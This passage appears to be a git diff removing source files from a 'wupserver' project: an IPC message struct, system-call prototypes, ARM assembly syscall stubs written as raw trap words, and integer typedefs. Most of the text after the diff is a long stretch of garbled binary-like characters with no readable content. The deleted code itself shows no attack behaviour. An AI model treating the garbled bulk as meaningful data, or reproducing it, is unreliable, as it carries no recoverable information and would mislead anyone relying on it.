client_cpu; - u32 client_pid; - u64 client_gid; - u32 server_handle; - - union - { - u32 args[5]; - - struct - { - char *device; - u32 mode; - u32 resultfd; - } open; - - struct - { - void *data; - u32 length; - } read, write; - - struct - { - s32 offset; - s32 origin; - } seek; - - struct - { - u32 command; - - u32 *buffer_in; - u32 length_in; - u32 *buffer_io; - u32 length_io; - } ioctl; - struct _ioctlv - { - u32 command; - - u32 num_in; - u32 num_io; - struct _ioctlv *vector; - } ioctlv; - }; - - u32 prev_command; - u32 prev_fd; - u32 virt0; - u32 virt1; -} __attribute__((packed)) ipcmessage; - -#endif diff --git a/wupserver/source/svc.h b/wupserver/source/svc.h deleted file mode 100644 index 8aa8aad..0000000 --- a/wupserver/source/svc.h +++ /dev/null @@ -1,31 +0,0 @@ -#ifndef SVC_H -#define SVC_H - -#include "ipc_types.h" - -typedef struct -{ - void* ptr; - u32 len; - u32 unk; -}iovec_s; - -void* svcAlloc(u32 heapid, u32 size); -void* svcAllocAlign(u32 heapid, u32 size, u32 align); -void svcFree(u32 heapid, void* ptr); -int svcOpen(char* name, int mode); -int svcClose(int fd); -int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); -int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); -int svcInvalidateDCache(void* address, u32 size); -int svcFlushDCache(void* address, u32 size); - -int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached); -int svcStartThread(int threadId); -int svcCreateMessageQueue(u32 *ptr, u32 n_msgs); -int svcRegisterResourceManager(const char* device, int queueid); -int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags); -int svcResourceReply(ipcmessage * ipc_message, u32 result); -u32 svcRead32(u32 addr); - -#endif diff --git a/wupserver/source/svc.s b/wupserver/source/svc.s deleted file mode 100644 index 1abd79a..0000000 --- a/wupserver/source/svc.s +++ /dev/null @@ -1,99 +0,0 @@ -.section ".text" -.arm -.align 4 - -.global svcCreateThread -.type svcCreateThread, %function -svcCreateThread: - .word 0xE7F000F0 - bx lr - -.global svcStartThread -.type svcStartThread, %function -svcStartThread: - .word 0xE7F007F0 - bx lr - -.global svcCreateMessageQueue -.type svcCreateMessageQueue, %function -svcCreateMessageQueue: - .word 0xE7F00CF0 - bx lr - -.global svcReceiveMessage -.type svcReceiveMessage, %function -svcReceiveMessage: - .word 0xE7F010F0 - bx lr - -.global svcAlloc -.type svcAlloc, %function -svcAlloc: - .word 0xE7F027F0 - bx lr - -.global svcAllocAlign -.type svcAllocAlign, %function -svcAllocAlign: - .word 0xE7F028F0 - bx lr - -.global svcFree -.type svcFree, %function -svcFree: - .word 0xE7F029F0 - bx lr - -.global svcRegisterResourceManager -.type svcRegisterResourceManager, %function -svcRegisterResourceManager: - .word 0xE7F02CF0 - bx lr - -.global svcOpen -.type svcOpen, %function -svcOpen: - .word 0xE7F033F0 - bx lr - -.global svcClose -.type svcClose, %function -svcClose: - .word 0xE7F034F0 - bx lr - -.global svcIoctl -.type svcIoctl, %function -svcIoctl: - .word 0xE7F038F0 - bx lr - -.global svcIoctlv -.type svcIoctlv, %function -svcIoctlv: - .word 0xE7F039F0 - bx lr - -.global svcResourceReply -.type svcResourceReply, %function -svcResourceReply: - .word 0xE7F049F0 - bx lr - -.global svcInvalidateDCache -.type svcInvalidateDCache, %function -svcInvalidateDCache: - .word 0xE7F051F0 - bx lr - -.global svcFlushDCache -.type svcFlushDCache, %function -svcFlushDCache: - .word 0xE7F052F0 - bx lr - -.global svcRead32 -.type svcRead32, %function -svcRead32: - .word 0xE7F081F0 - bx lr diff --git a/wupserver/source/types.h b/wupserver/source/types.h deleted file mode 100644 index 832bc29..0000000 --- a/wupserver/source/types.h +++ /dev/null @@ -1,29 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - - #include - #include - - #define U64_MAX UINT64_MAX - - typedef uint8_t u8; - typedef uint16_t u16; - typedef uint32_t u32; - typedef uint64_t u64; - - typedef int8_t s8; - typedef int16_t s16; - typedef int32_t s32; - typedef int64_t s64; - - typedef volatile u8 vu8; - typedef volatile u16 vu16; - typedef volatile u32 vu32; - typedef volatile u64 vu64; - - typedef volatile s8 vs8; - typedef volatile s16 vs16; - typedef volatile s32 vs32; - typedef volatile s64 vs64; - -#endif

~FP-^Fl37g@O19X~y z+~BA#$A*-8X(~Fj@@BH_G&109i||794#0+)@Q!zhy`7*n(-_<2T_MmOhXA3z;t+RnI}2e zu$xA@*VYWVg27s1VW`0v zBfp#xADNuy0rZHf*|yPPJ#vnphvI-1N31%J>=-POutI^MyloN_7U_uu^i_h<(No9Z zZWhUtvu|%9Y@Hd!j*aKwbUUb{ghS}fDAyR)3lHYLOGi%@6MyR9!JHZhX1eHMB8*mE zS5Xzrz2-bdxI=mxY<8_>CqhxW-zYI0gN(-7xlBgBkT8H&s~5Q`hh^rYV5H8&4PVh&F=5_F=w zGhu0BFZA#LFE&6lsG3l=^3jejkd0MvOpn{5ajP13<`#R^5!x9d`iA=$1vp4t>>d?CpVf zvl9yeN1^9l(yzNbqO*Z_j$$ovq4On@KAap3j_6vB6z8Eqx;KkC)t%jkD;u_tBY}V@rs=K+|;QE33T}&B@ctMayu>0UnOIvJ#=EX zuj7OjxB0@xT`?A8a16&r;>uM^D;U+AYHqbMERUSH)>EF#9UDG;K#VcZoo}VEoflbT zJf?y8EgR2IeGt=k_Aq>1YP=twGUlA>K+j*|8WMw+#Fh4qy9VoMx5QOJz;4ZEc&Q2Z z3MH9DhO@RSyDK;b7pYm(e3|cuhoQ4Avnzv(h@uXp9$9T%4(6~0w>?IWNuKEH!7N;1 zkQJIFRyB&9F=(z(SmB;$nee9LL9EBpmW(bU3;MLyKKdJ*I-vG)7B>T#WjFQFyyZPr z)wf`fxst}qBv9SjfjtYLzQ)!{4H?!qhTbL4E*32!HavFN(MBYP)pt^TMjT&XPkWZ* z789dybZDg2&T=+txaX#T*B>jlw`6uHzbEJ&!~uw!bKb6iT7)CTy2$09x30Kv7#fC! z%xjcx-6pzrJ4#0?yB7xZbm9ydx8v|0jkc?zp$maCK5*&?8yVKD7;9Z5*OjBA(=Fpe zlUEv|qh42Yuj{0%d9bII_p>6#@rd1co|Is6GgS=;;zJyT;tMI}y|OjZ&6C@wi9A?e ztiA6cH*vK!#aXV|UQSXR;ahz@~2pUJ8_`9($w*+ji>8F`ed?rEz!b z2}}vzwmwOgZ{Fm)c((`|MoMw3MAvBWr@hmvTpty^0w2}k=1%=@qFwVXTkXx*)>4bs zCMO3bkXnUp!QnaFI0a4OM|6=GL9w|LZ?|~ZS*lKKSw%=!2n|KEk&h-eYG+wD=*bzqCQuDHTKuFC7*z~?M_Ma`yoy~Y7LcAG1KBSR);+lDw z?A;p?Qb#?>1{UUnG#z11#{!(>aCl%>V%4_IR+CNnEcG}ovT}c4JbW-IC0V+%%1d40 zYWq3=Q9n&7d-2XS1%F9j&n_5+s={rzwk5F;#c7_Kn#}Q5d`{Mo;VHR5jx`lfHR397oleOCt8ta71j!9NEC}W$f=HW@^kP_o{7zFxo>gx|#gJG^hEf9q(t?0u*#L?8m z0qoSSg1edNEAae71|w%NvZzK=p3n>D8W+Q#hi~W!h7A`aeeFwCY?gP> z*_qR8pq{-rBN_hi=f6@VMFbPkhaJtJQS2=?b?U{&HV&01ubB*VPT{(pBR;ma^3P`sA zq=neCkW=YUcMa*mbSthCsLxBz%Z?lv9~-6<5qycxtAw6naT~5V5{aGSOjY+ricAmL@qc?4F(Hi#0DG zDq&=8mm4RrDd(oH%#Gt1E@FeX2UV+#O+q7Co7%2mdZ)(>U6*n7w#Ilz`Ww9`QjM$9 zwjnFBaZ8miNpk#R@9923R$`mx-C$vo*ugZd2Js@Ic!uRN7PBJO%hb)JvkM#YFtbN_ zlY)~DUICvaAVlqyPp-(%IWGW7LZG=9o|Wn4=Px z)r1}=DWJk-=xgtch$7&iM4EW?Nn~Kgbeeno%#%90bVa)rN#t1uRVS>Mp3Z#lqaE#u z464WrX;kvzp%J{RhZkh%8gh#SS%|kuaib2Wt};kvYCqm~qg41u<9b?TEUJrUjdF}oE5p2>&`F7JMivGnNe+cUlW^%EH)(ahMz8G zRsmQNX*;oXDZ+^awwD{GX2x_uQeC93R8K(SOO5r0dZNKsZg#;-W?edxrK+57M8#gm zja~p(R$09sEuitue7dC-j*?hs`F?kQ34_x)PFM3Xwi8jYxJ5#F7Ds!^XNskrnFn%i zpqOEka+J((2RkScxZ*M~blhDvwsRyh?973pzax2H?_Yb!Y? z6qo}kz@77j&K+QWF7z_7;2}%a`1xCg>~WttN`gDkzV2oR#g#v%8F&QT7))c+CLgj1 z@Up|u_!QiNV|)oiW;P9T4F~VK*)leU}zR zTc@VY%QSvDYi;}|*oKcsFanIwmKODFF+~5+g zK7S~{mUJKIel~uvr3-${83D&4js-GuWYIQd&tY5n4kP@VF`3WdmOtOdlvk1AxLU|C zbt^li9efdOHxqxsa?pY3eUb^uZD zZ5~md)_oo^(~?}4n%L3wI5s)8G<=A#7@u-E3qy(a>e8q=b~D1i0D7_=pEP@TY>eOr z$@79Z-L7{^B8yvEbGbrGJ|vl!tUwhS8`hO5=~lvksS2N@3d#94U~H2O$!f=!8uaiq znnmWys#J`V8e?fZzeNoW!7Hj{3Bb>Rbz?6(E7d8xZCFA(^-~B^$4(w`MaZRbE=HJt z*xbrBw&;ME#Ag$D@xNPJV63|bvLH%&ju*f1Ed!p1TsJccjAvs9DviqF>@cj zRsm~JlmlK6;A=o=I@%f7y{yW)xc~ur8m*ZQMn6()+@;iA5b*#ef{ zRPko-9`|wT(8(m-@x<3Y@fKt=m+HJ_PkKVO=j9pZNoh)8_3XwJ4~;h`BRIs{zoyC<|?X*EC#h^F=esQAJ_zean~2gpPdo-SR*t(bV_|-sp=4 z9c@F!&EQK>24)gyZPY|zoX{74QbqD&(GZ~ zbtx$p{|>x8L&30f)RQ8W7wh9T?jF|wZ5uo7V;If5daYMNPhLh56T0MjVf5sv=Y`m@ zGk$r6kjX^TDKep>{U+8Xsb*XT)G}Dc%(lX(o6*!>`fEZ*1bogfV#VJu7LzFc{nO)&N^)ytU5)Jh#qa@xtNTC@<(RO}91PSz&zn6Ym;| z^^H!$>$l+U$2(MJgLEM{pPUlZ2)AIyn{&O*(aky88(-xw8fZgy)oQ7EW>P;sA+;Cp z!4K1ll*Z&#%abI2KvzFj+jMSI{e|_a)n(PO6U<6GRT~bgcNs4vFZN7N=^Tp8R^xSa zr00qvCY15cQfNWX)~WF$6O-L)4!Ey6z<6Utvn6xiQOP^fH`%)DpmWY+2+7HtVsO{f z5=3l473Vxtve(Vg=jZN7`Gh4llv^jnRzqT9^RroKKQe3L9*rD6bcAn@46Rf3pp4^zVOSsLopAk5+kf(>X3tujdD;KC|+#%%^+Ma=| zuJka#x^zE{_da0#o6}@CkYp8_oZT0H$J)%3UTkwSt=8)VpTh9?=+LB@OC*_2QMYLv za_0s{Jwh{r5;A`4nt`_gs!?8MK?^;7k|}5KDvDr(dB@)%!3OM3u*-W*%t~(BE)6l} zO0&9N@ugz$P+!dm@Oe0Xmg>YD@ZI0$3XQ)0(u8|(m<#6CqqDJ8%dtIn*Gfx>26|3z zCE|P6<0JUck@TnQmS^CmyZU?gV=48%wBVbFDg)7?Wp~ZayDJUmPd>NVb-Ah;IelYZ zZ7hut0A1NYADv*lTI>-g>RdeuDnyvuMit>^;KB>6I#t|K?{B+AsfsG(w=p<%NIb*s zbPum8>Zcdw{w!b4rQ?+^D;zf0C!=c;Wb8t(zId14B2GtxF{@1Eezw!iC{3YNR598q za68u&OkBk!12@{HM`!p=@4(z_nc(Z${%Cr2-4ag7sWD79y!2uAZ~iXQlvF%Kqvx8l zSvaI(&H0}$@ZU=m7XxnY5oOLx=sJGd#5hbf~OI#jSA`*#;}d(!*yU8y!m{m{s;f7?}7G_FamD%20Q z5l*}0@SZ(wX0TkP&zg;P7*-?T&AtI>1-yRlW{Mk*a3N+NQB|uuncrm{;HR#}W^=>G zht#i)6$a-8;J5$59)Ff{);G7pmy2sI=Btv^=jo&n{evBeISY{y3e#iMpXa}Ak}tT% z_0S0l`I=v)6q}FOS*l2}-gq{*T;T12V{N_)jMjI2Mra0KgbCcYYsBz^1rJwPPs?sd za5grA*cMxE{^cnX%A^_%(EQxQQK|3h9;j_?Y^;?(Fi?B$#PIZy?H8Q4srKAMwdeLU z#Xd$Ly*VCQ%Z7%qk>jz+$m8!{QjEE7)z?JllXsur z=e+RKVnwmkQOosb7ZYtK=tyy>QTxgQiDG9*%zFWSH#vf%74vqW48vYuk}s8TaB4z| zP2OhQ2r)8r>~HDw-2HZ!i<|!DvnY1fEGSvl42fhyuCvA2uEbPKB7)ml=&E{G&ZU%g z%h=moT3ajHYd7Lgl1I$nBJz$&#>?jOKG)U63+h%!`|8(t zk+fUR7TIJOK_hGB`*duZTr<~{WnGQ=;-ZCu)|}2@WfXZtOBIXmN7VU6WhL_vkAnUPhB|LC}<@iLE6j@Mrn@C$nU^YxC5 z*B%Fh|9jkP5iwoEwmAXRpw^pzOq1oxS;W$?T64Pc@?{Qtnw{^@qGwGgs{R7+lkj-c zzH!TD2#@@^5PuKjNgr;yaMNI3d*Bqv#y`;|muHNzsK&iwW?z&531Qvytq|ORfkSvU z(vapGHG-W_EFILy7@SM^@}n;gFvMZAb*4QjlG@JK;Alh+VSA6a>!beKMh_f0BsPQn z3*=@;#_&G4`P#Q_P!OaoWxqpeIcr>i&il{x%~}<){#*&~ zOOtUHHf?HZ;^7^Aa5Ltj3%e0gTJ;MGm@gt2t4t5=Jq}x)htEvo!ZGY?^Lj*{Mb8;7 zZb0{DC%?!NeUIH&6oLVDiuqQS{ZdTyy#Og;ayhl4J1xY_Qqc|q*Sy^PGu9jg@x-SR z&cQ;XjvnRc>Mm!rH5_0Z%HKy2sUA9tulS@Vrt$hUKh2%Pw~dbSY>oJ+Tw^bdqhZfk zC4-tnBe1Fmo80yz7Q%%78efR>h&cl@0viut)s0ne)Py-&Jn^;_AZ=Mu75 zS_dX^66J(HDu6@kyiWq3z$nPq?0J8BfQBpn#l-mpEp7Qj3Y}*@fi5OxG)%KoFdw3{ zGUFMccIjO(3pN10fj6e#n{i8nykc(sjPdElTNmc|HfA!&o4Yubj6Q^K`=eNBSVn1P zg?s&zOQ1C^e7T9lbD%32n}y5Xn1TKjqh!13fe9oppi4JqK11$|10^nYSj%v6fShUQ&f4pKRVee96k6 zc#+MZ@}hS<-927G)!cIRzcQ!O#jc(-H1r~_U00RodP_UwOdSgbs|2+wUiG znC=BfBZX+t_X?>}cM4oN3~5vo2&-B2PF&2r4eL!<;$|`qXl0XxNj@rnyhXB!f!#y- z>R-2Po}d3jP6fSqq zR-#Fx-Ri55Y+1@;_nhm&6l%v8&0-@s@!L&mD4L^+$WU?g2u`>&wNqB5ikbsATDENE zER%Jv)4im$TD zAiRmO5BlgHgdZ~M%yeO;QQ0QC(Qe+38XwevevSUf6hDbNG$ME|JfESARJY4t$b#ar zB;gYvC_QK| zA6mRDsr>J$xOGKNGO=um?7O8y(B_82L*0l0b(wYUkURddGe@Sn4%Wi-?9nmDPxPJc z!ym|UpCWX9N6ETl-6nw3S?+IHfsgeRra)`MTQ+({~iSE4(v#`I1y~`rF_7 z<~RPeBxo)|=`(B%z^7YErctE@6>>|EpK5L{xW#`SDs3)#GSQ0CcP6_~{?ChU zUGnx*Zd?40Mej`AUdX=QohWQynoKV_rF|(HYE8B8mTsT=`jh|iwXd4a(OzxTX7FfB zNhw-ves_W>yb9fayM)>J8_Vu@PF|d2_VX+A;`~F!_~X6y7uL3v+)KK&+)>brPTpGb zw&Gis#<3@zi2btUH4*k*9`;Xs<;!jW|DA33TdeW-s28`C+%0&&D{Ogpq8q5sNBoY0 zJClX&CCTFv+MO}94c1<}$!Gry?T-DPc2CBKYK+CtulhZ4{GsMpdB(TmpZO(jYc4sX zMZ~WIwD83)c?o2Eml?O?ll&cFt-Pqp%D`L7T5ev}^45};w-vYCvb5#Ti&}17(tT$V z4ZgYjrqcQHT#-nC0=e!tvM8gGHq# z?kb=>{?>7D5&o<><>FD3-(w08IkxA1D8I->5I}r!UVKSjoO;InP~MjV)|W|c3n0GC zh6xcb%Zpd!#mn>J%Mt&hAmHD651vLQ$A8?GDb>JR^5VDU#qY|Ce>gAxP+t7gdGUY7 zA4I2&pJV#}A>yEauu0=Ysb~(5N)um=u>2Ii#Fo7HE|k9kX_uMumm~fRs8eg=6M5y2 z<;7o{7rzl?F7WEVD+tOrBEHzPcV7@JKL<2?*2FO${^@y#@AnZ$eo$@le-&>(iMIKd z=z}WFPXgdi(MNIgRYjg`H2GT*#~)vJ@ovN)2J3D!`L9Ht{FFY)(I8ko2vM}{ABpGV zZ%&(^DW4z5cKk!Xt$ySB z3$`?EqW$OZSk1|VSRZ*=*6Hs)0q>t4pe)V^_;NvBEym>)I`c7ulYMNEjV$nSNlnf> zg0L9oC0is}Cw^u@MARO4)RT`yxMU#`OPSk32-ypk(I19zrR_O}ONd!-QD-)JUU`Rw zhw?7}JFaLsx}qw`SWdF_yqhmbnfGNtleR!f_x2i!fK0q1sh`G*{%8qufQ`XAe)CPU zu;Fy0^4FMWrhEw1 zUuDXN$hURF^WR5yIt;D9;>XhU#d807`GT7=Is=?u4HzM8%YFuxa>z6zew@(E1U zg70W~h6|x@RvA1Cxjvb?g)OE{jJNP=Q+FKU*P6NvKkC)}vR9XVnSN8JnYz$Zsd`hF zVYZLH5?BvYyG=U72cdHe4yjimY})}ZEX`9h5v@|hhwVVOrQT%PVfapyz765`nRJFf zYtoM+Oq|hvg5e*T^g)DwV$u;_l+<*t&x@95x`Yi)xXvyzG?B3Bm-~c8re6s^VA^Rz z`XiI z;R7c9^$5Spq%(Z2Nxu={H<)yW->K;d*qDpoqv;a6ZSUvAQ0LinIbXZUJO zPi#W?wVE#BTTS_`NWasRXZRx~{T75DFzF0`Uegl=2!Bn}8D6qN()@izgj|RaS zjtjpfz+nx_O8Bi_I&g65ANJCLgG>Lcmku0U`uDu_A4Taj2dhC-{)#|DJEw}yisn>N z6YLLzThaMmnTwEa@GRQlmERrB!J_VH4i@e8>R#%Vhm5)Q4|-)@<+VTQl?SbAEk2-C zt;OM5*bz1zysNY6pqm@lJH2+^=iv!@id>;i5$I|4ZP5dUM@;{;S01#L^5A39m%Z{& znes?q%DxOfOCi(i4V{<1C&FQ=hr`l)w9N$O(Nf?bI)~wpM(r{ zAUM^e7q3Uyq!*6_!D*)7V$jW{6E|Ci@{GFFvBkj6j=h*PK^aMZAd;Wrha&kY_QqcP zl-K67(Rho0?xnwA`obJ32F|XpmrY+tFDZ%AOUk3VC6fr7F_z4rj16O4b}S`VoAyDs z63Bz4VaaQ~Hs2Z1umoebG%Nv~T{{n$c0iL7(A?6Y%H_Q zugy0jY-m;XR+O<}jLVLt?4724(5(!-votJwkJsh{5e>^QcFW%~(Al-~lxYY2Ed$Lh z9m+s+i*xyXk=;`MBiKU*pYop|Y-n5l>j>xamm{1jl2Kn3s3-KlD+nqu7o{(TOQOCi z)<6uaQlvj z188n}!S%=L)#VRI{8~<4W1Rdg2TiOjEk~P{Cd<*L^mRYVe9!d7FnDe0vmAX{eY^bS zXe=urw^rY-xHO{q3g~&OZ&!TSOZUdO!W-iX;$~!Ng~b6fx#H&$FIKz|@q&8=TYhDE zG?tZbipIMVy3f*Nfx#}cvdwbZ0J*Uz)L?ErLO{yn?M)- zRzWYhaFrL{=!Ie1xiak$omcIS=)4MjS$k|1`m%Fj)wN#wYrS;P)0Mx|O9$Ot`U6oq z)3)Fre`|pI7Bj{*-4V^#?2Tx?<_(d&t?}e)&2y2wRVO2PtG+0rRdq{5tLpJ+?A4GH zONZ*ayfD@>m;P)JG#c8jos8_OwKI`@wH7q7_Sjm`#M)zPL6Z$;jB7!Y4Q7mM?+Jp_ zZ92wsx=jat&amkZA#Bq>8w6+C^v@$~)1L~0^KAOJ5Vq+*!W_2gKS9{0|2mS@b)c1% z)pfwl%G^c1bjMYD=QIQ@bPLMQuyOi(2&M+JXGIb`C~()=ql;V$PqBKKQHqVi0V$ z;hz}%v4^UA!QhYZ`m;1Wxfo&0P0~=pb5UKkm0S%S4cX)#nBhf#fiUVw`ilrJ)$l1y zFEwQzL%7m}(N}=^%kqm+FQ_)*GZ3yd;SPj1YPb;fcz(w6^i>4sm@?A{Z!+PV5ZW65%T}T!?zXhzX-!a9G1ji2t|=1IJ+6l;L>iGa|lCb^xzR;Qh1vCi0uHiF3g79xOyzvU`XK)_Fx_iHk z@Cpt0e-+_64PS8q!oZtlE|Yct=^gUv-a8(0)>A2{XM@w-sjEp z%*XU>_K+@;*r13#cVI2C@(>XTR3^U4E);n$SYzJ%XX4q?u@K2`3` zeF)e0%H3aOJj0Z|SHawu5g)pv>-H%R{yChXoIV4#adl_h+@n+;k`GT-o+kB9?TMYB zOW`%j60duc)hBNEjmp)l;MeFpw>CAY!Z7e;@VAd9~Urk&=RWj95cp2zS-*j)W06PP3tRu^Qft94sC+Ut8T`6(cQ^c@at!eX zf1x~WBYil^h0npAltb@=Sr^29fASa7UwObTI9pk2K(6fg<+`rOXMPTUtvvcT$E{%H2I?fNv+`tW zBdoV_=TG1?{}4)ZL0mvY%U_yOf| zwo9#xpMCF#|E!$B@gdyiEuQ$okEwhJ;}vdw7x|4F&eU^q}G;*YJ9-hE-aCd{~6&xyoN)$6dWjl!<*0JSsc z88}CI`Xu;# zDNo-B|4q4iIBb0m3E{eBn98R%!1yY5yzJMpkFtzUM_WtMS4Ue*;zLK~bD-aj6P2^F zkzj6@y zjvS)wT>%#<%a}&epZJ#ZIXq2yDDyG0R=LYp@G|9D_!aq6<#8S1E0jBSg0ELjzXsl} z97nB1-m5%=I*NQqd2v1br1GF|;Fp#29)sUhPWHneDG&Q2{DpG;OEBBS=h5V>6MhJn zGdDYtU*T>O;Y8)x#MLQFIlUKLsGQ4M)u}>x+?TM8y=D}=K;@zM)@haUoEzYE%EjcP z)3wT#jqt6?of)G}Hs0RSmz|qkeuT-j_*R7NPOm6W6#09~A;jM4Gv#^3u#ItG0_P3n zSN6@zfbIBJp&ON|@|kzR!>rCom>5L=0{oAfqMY(JT%#=Kj8ViOIuX<1HOiCo;H#9E zEP;QaJc|5B(TC{Alh3H%D?7(vJC0Si!hceE6tPCVqg=zdMg2oLeLeiW-M576#vPRB zF>cXz>>9s=lT}`J2p*z5`3;zT#D|Pu!;Gu}||6kf+D_ekfJF%W&3gPqBRa5Z`Eyi|EQ zbHDRXm8VFJkPFe7NNvk`xp3WWyzWpoc6KRyALZ4?D{Ecn11g_Foph$oWZyC33u~Y7 zOpYC$?f8aJ@y>tf~l*WeY(Q>f3bb{=`w!aT(11;pC*7G*EnyWXap%vg23 zOL<5u%-Dl&faKe^4GS^2d}%ErXv@j@t_}9DNB9IJrS`Zwe7WYus3=24zT*@dWR{?yzrJO%e?STYPTQ;ApZkBH5nX4tMLOMAn|RW9d^Ub~)TM|1q{ zqVnOF!hMv*XZZ}F*b$$*-Mz{(j@=WKL+Gb_rm~EC_le4h8Sqr) zVNbx!4arrXIJibRh&8i&y>cYu(|w(?!&=e(3T1g8*8Ljg+4$9+e2JZL zxd$X1dmj8d<@|o|W6F~M?k_0&hQqHb%UE=0yk%d>c`Wl^xHbjuq3p%~*g?v92RDd*vPk9U=`^5Emj z-Wy>XOXYp^NBq+7Bx*a()?q|E9H(+0V-e?5PCW?sS8jL`9-$mVoyL_ZCx^fl%5jt6 zD&;zAIL?k^gTy&Y<>wJc+_^{LFIwz@LpweZ=X6g z<4AqQkt1O_SB-l~dD>R^uyXm&;5U@}J^wnf^SfcDS&q<%X|5r)S2j9@FM)2ay~WL^N@1R*YK;#DdeE% zTgnq!VCIADJCt$jNnV5_*xvJ>%H#LKUn)D~zvp+#ojx+RiHv@)W;j&kGw~%pQn_1K zxQlX!DR8WEbUaLsq_6r^I7zvV{o)5Ghv82=ITfAhH^Di|v#Im=0_BAwAE_Ll0hcRh z{2rcQ<;?x~YULW{X8ifeW2eFMl;!&h@e7q_i=9U0K7W8$Di{3+8MuAdDz=9 z<0O7gCb#idDp!!d_|3{;!uTpW-JXZHDi@HOcGnkw4N0iI|0pqvyJF^CUUpZ6s|E?U@13sbb zd;|YWxs-K1p8jOtAar`Ul_SI8aOGmo0eeL$_hJltd6j!$r&pYE6#n<}DUV~^di7I| z{S;1Do^dZcSXu5#_sUgnq?US(P!415?^UKe>>{{Ad1)eCr9Alp_&nu7;P)-va;um@G%kYQF-5TNJ%IU-4&y~mj2s3`7U+;lWDi0<0-oeV}T?0ob z#}i*~^hAHb2{=Z%su+$}9=8DQt30YVoT9ua7S2?j{Ro_`Jb?Mzd$@Ax>oB&&e&3Gp zXyx<&2otl&=ZgMh<*wb}>B<)jhUX~HXZ`72r+l6prdDL%grC97m8*UY|3o>B8tdJx z+^`D1)asD?-sDvFEhX08>@Per8O9Ico{W3%t;&6=vEH{UXZC^ZxS#KZS!YFm$!GAx z%E7B))-sWY?SY?Gj@k{ssGQXcKCE1JB}`3-{_sxl-;^shz#l97@Vz%#|Nnazoz}OYeeha=?dBJt?cI8OMv(HZDP;%SnKIICLGd3pnf56nP za8(-ogw2&TnDzEBgJ2#h0W!n>z8~x5#r3z>KkQ5c&4yDUZAf zE>=Fz3y)DA^%r=8vgbi~s`5hSh;Np1-G^|ka&Kbt*?Cv_KD z@a4)KZh)^*9{m%Tw)h!07rsS#%2xPS%Kcd%e9ULjDQA3qyOmRj&-ak>u-o8$%5pu` z_mpy3CH#VNhUAJk#g4rH^Sz-w@B#Q;sP?sVffNlcE1L2%kV4rdf^_I|Ic__XoWGc_V$AqEE!>Eyj0_B<1 zc0#H0z>nYx<#{{cNy^>MgYB9bg70!qUHZ+BfEOyu`?G{4%C+P^VYPDI^YBlVyOM{5 zOO;b^gf}VY{s!KxJp5(&=gPf~z}uANnoz=>%Aw2QUCNC;VR9}0)Q^K1SK%n?CE;=9 z)K_6@PUKT0KlCB&+5@vqxJqpPRe6^5Mg56<0P`r}6J_~KS;FVaZjpbhJSvQ1kE2}C z8>TJ$7Ev30qm&oM!QGVSt%c*2vu44G%IOcn^ey{Vlh3})TjBoHY~NhvE-`SCa;GWq zXyr22^1kDhms|)}E63%)GnET2fafdsCI5XJl>1N{eTiTCT0%bhUZk8k6vkJP2Ymrw zrkvgZzFOIH8+^TT%>wwB%3U*Hw#mK|zJl*oo=uMXGTtJu|2s^~!c)bcN0op|9IG5cz017{**ADM+)ufN+K_8TA}@Lo&Q_j7zlr(EZt6F2 zr1D_uD{-vyNX9dah-Br zCwQas2=bG7t#VJsD)A=e35-kPt;!|Lsl+>!C;tMzS9vl0B>ql0i<(UQgK|{}ykB{t z#Py7FDn2H@q&##W{EG7QZtz>mGg*5Q$+g6lmIzZ5!j;d#pD9n+4u7K@`D@s(JZ&ZS zz(SQv!(rl-eZ7oJl2>`aY?ydNp3V3t^;MqI45unDrq84-mQBSR_qR9=s4fU)g&*T%(+V?@9H_qZh-=l)K2j)Q9*selkoQ3y%(iHz?1Z z3ty$|B7aHOStgDo#zyp~5O)&mwXoA2zDqfG9elrX`Z)Oa%A>o%dzIz82uV*W=g)x2 zyVwb09FzW}99jq;QLdDHzN1{234f?Ofc=vGp)A*HlfG1T&w{^K4%xzIrQOPD_rM*L z2Qxm&9_3CMFfoV^1B2n-%5vQ|IaxV!G@PzHjd4jHqC9FoJY2c*QMg1ofw`Dmt}LG; zO`fRSeI9(C^5T4$*reaNJd*2_``igLW+IohGntwbE{umSR_?F_ZdL9w6TU(@e-ZpM zyC?`J-A6K69C-@8HxlQnQ%8B&dpNIG`Zyy}4T*x^0 zk5+cBg=3UsAAox)55~9tNy<}RfYX#`iOs>vMd@&!a^rHiSh;c&JVtpD`RPwRi4P6r ztp8NyPCtcbDNm*U{*1Bc47mZmKv}-?+JA*|$uD4H6P%6gYaBsxn7mBP&ximc!}}_)I$n&FZ*6Vjivn5^8GM+BF}yl-el#k!;F*2 z8<^`UKesyF;BA&m;5(H&d=8UG(eIuFQ@g^Y%!3rhKzQ8q@Z-v9!(jXtc^G4r^0Kn? zBK)dyZ`O&FzgoT-e%~_lHRTiK9O6i!Z?Q8;^6;&4I{|xME1!QmoTxnH8+d^7$aU}_Wx3CpnyVZ{->F5)(d0IDv~s86@Ob5^#G6{JTsaD! zsXUQ-OP#M={0F!}S+47(GG^l2DCS-2Map^9cDI77LPeg?2jbe1p{1M-!}w8A5mr%r^KlcE#e0j{!~08g`=2hUON zwgFzCJn3DyQF$ggk=Vq}lyn$hg(s1R0qc}!Jq~YF_LjhmndppN0^g)OeIR_Ra;^uy z!?M`C*K#@hJLSY5VQNV16cf{c{mQa74|qnoZWsKLazP6Gie=&+@RqV8d3#T}Nc{P` za^0oyXUc;vguhYl=ZASnzjEwK3so)`rv5}8^>f&(Jn0v3PvuUGT^h9_IF2?WnX%7!rj1Y@G8i7E+=>3vDwQk0ho>k{eh@xiIg8p%t5KdvU8U74r!b$= zmMJeLXK6oC_K=gbHOlTSFyk#g9)gKYbZW?J+74yceE2RaXN=PB zR~~r+{=ISvwU@S6dBH;XN#)Z1@N>!&y1;)@_DMdESa}Zoj&d~PmiD3Y0LkY+l;?__ zFD+NVe4XrrLz_Y zmwW;bR~}XXmngeFhN)fA>G&v2{DyCa8E?aXgJ&!EErjV$7|-;J zmE~SyI&)j}v%Z3_P)>Xr{+aTSTKGogV6nMX**gusU3p0me2?-1;!FRnvRq?Jr-sCS zhh6Yv%8MA&bovmv>jwBmGnAssho$MjILJy=Wv|zAZjBcLAn2TaEkIg>LFvG@?vTsgL)F1{g%Vz 